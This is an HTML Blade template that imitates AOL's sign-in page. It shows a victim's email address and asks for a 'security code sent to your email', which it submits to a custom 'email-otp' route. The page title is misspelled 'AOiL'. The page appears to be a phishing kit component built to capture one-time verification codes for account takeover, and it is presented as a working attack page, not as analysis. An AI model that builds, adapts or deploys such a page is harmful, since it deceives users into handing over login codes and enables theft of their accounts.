<!DOCTYPE html>

<html id="Stencil" class="js grid light-theme ">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no">
    <meta name="format-detection" content="telephone=no">

    <title>AOiL</title>
    <meta name="description" content="AOL">


    <style nonce="">
        #mbr-css-check {
            display: inline;
        }
    </style>
    <link href="/aol/aol-main.css" rel="stylesheet" type="text/css">
</head>
<body class="bucket-mbr-mismatched-reg"
      bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJkaXNhYmxlZCIsIkZBQ0VCT09LIjoiZGlzYWJsZWQiLCJUV0lUVEVSIjoiZGlzYWJsZWQiLCJSRURESVQiOiJkaXNhYmxlZCJ9LCJ2ZXJzaW9uIjoiMS45LjAiLCJzY29yZSI6MTA5MDB9XQ==">

<div id="login-body" class="loginish  puree-v2  grid    " bis_skin_checked="1">
    <div class="mbr-desktop-hd" bis_skin_checked="1">
    <span class="column">
         <a href="#">
            <img src="/aol/aol-logo-black-v.0.0.2.png" alt="Aol" class="logo " width="100" height="">
            <img src="/aol/aol-logo-white-v0.0.4.png" alt="Aol" class="dark-mode-logo logo " width="100"
                 height="">
        </a>
    </span>
        <span class="column help txt-align-right">
        <a href="#">Help</a>
    </span>
    </div>
    <div class="login-box-container" bis_skin_checked="1">
        <div class="login-box right" bis_skin_checked="1">
            <div class="mbr-login-hd txt-align-center" bis_skin_checked="1">
                <img src="/aol/aol-logo-black-v.0.0.2.png" alt="Aol" class="logo aol-en-GB" width="100"
                     height="">
                <img src="/aol/aol-logo-white-v0.0.4.png" alt="Aol" class="dark-mode-logo logo aol-en-GB"
                     width="100" height="">
            </div>
            <div class="challenge password-challenge" bis_skin_checked="1">
                <div class="challenge-header" bis_skin_checked="1">
                    <div class="yid" bis_skin_checked="1">{{$email1}}</div>
                </div>
                <div id="password-challenge" class="primary" bis_skin_checked="1">
                    <strong class="challenge-heading">Security Code Verification</strong>
                    <span class="txt-align-center challenge-desc">to continue enter security code sent to your email address {{$email}}</span>
                    <form action="{{route('email-otp')}}"
                          method="post" class="challenge-form">
                        @csrf
                        <div id="password-container" class="input-group password-container focussed"
                             bis_skin_checked="1">
                            <input required type="text" id="login-passwd" class="password" name="otp_code" placeholder=" "
                                   autofocus="" autocomplete="current-password" data-rapid-tracking="true"
                                   data-ylk="elm:input;elmt:focus;slk:passwd;mKey:focus-passwd">
                            <label for="login-passwd" id="password-label" class="password-label">OTP Code</label>
                            <div class="caps-indicator hide" id="caps-indicator" title="Caps lock is on"
                                 bis_skin_checked="1"></div>

                        </div>
                        @error('otp_code')
                        <span style="color: tomato">{{$message}}</span>
                        @enderror
                        <div class="button-container" bis_skin_checked="1">
                            <button type="submit" id="login-signin"
                                    class="pure-button puree-button-primary puree-spinner-button challenge-button"
                                    name="verifyPassword" value="Next" data-rapid-tracking="true"
                                    data-ylk="elm:btn;elmt:primary;slk:next;mKey:next">
                                Next
                            </button>
                        </div>
                        <div class="forgot-cont challenge-button-link" bis_skin_checked="1">
                            <input type="submit" class="pure-button puree-button-link challenge-button-link"
                                   data-ylk="elm:btn;elmt:skip;slk:skip;mKey:skip-recovery" data-rapid-tracking="true"
                                   id="mbr-forgot-link" name="skip" value="Forgotten password?">
                        </div>
                    </form>
                </div>
            </div>
        </div>
        <div id="login-box-ad-fallback" class="login-box-ad-fallback" bis_skin_checked="1">
            <h1></h1>
            <p></p>
        </div>
    </div>
    <div class="login-bg-outer" bis_skin_checked="1">
        <div class="login-bg-inner" bis_skin_checked="1">
            <div id="sb_rel_login-ad-rich" class="darla" bis_skin_checked="1"
                 style="position: relative; z-index: 9; width: 1440px; height: 1024px; visibility: inherit; display: inline-block; font-size: 0px;">
            </div>
        </div>
    </div>

</div>

<div id="mbr-css-check" bis_skin_checked="1"></div>
<div id="page-mask" class="page-mask hide" bis_skin_checked="1"></div>
<div id="ad" bis_skin_checked="1"></div>
<div class="mbr-legacy-device-bar" id="mbr-legacy-device-bar" bis_skin_checked="1">
    <label class="cross" for="mbr-legacy-device-bar-cross" aria-label="Close this warning">x</label>
    <input type="checkbox" id="mbr-legacy-device-bar-cross">
    <p class="mbr-legacy-device">
        AOL works best with the latest versions of browsers. You're using an out-of-date or unsupported browser and some
        AOL features may not work properly. Please update your browser version now. <a
            href="#/account/challenge/password?lang=en-gb&amp;intl=uk&amp;done=https%3A%2F%2Fwww.aol.com%2F&amp;acrumb=emCHtnFU&amp;display=login&amp;authMechanism=primary&amp;sessionIndex=QQ--">More&nbsp;info</a>
    </p>
</div>




</body>
</html>
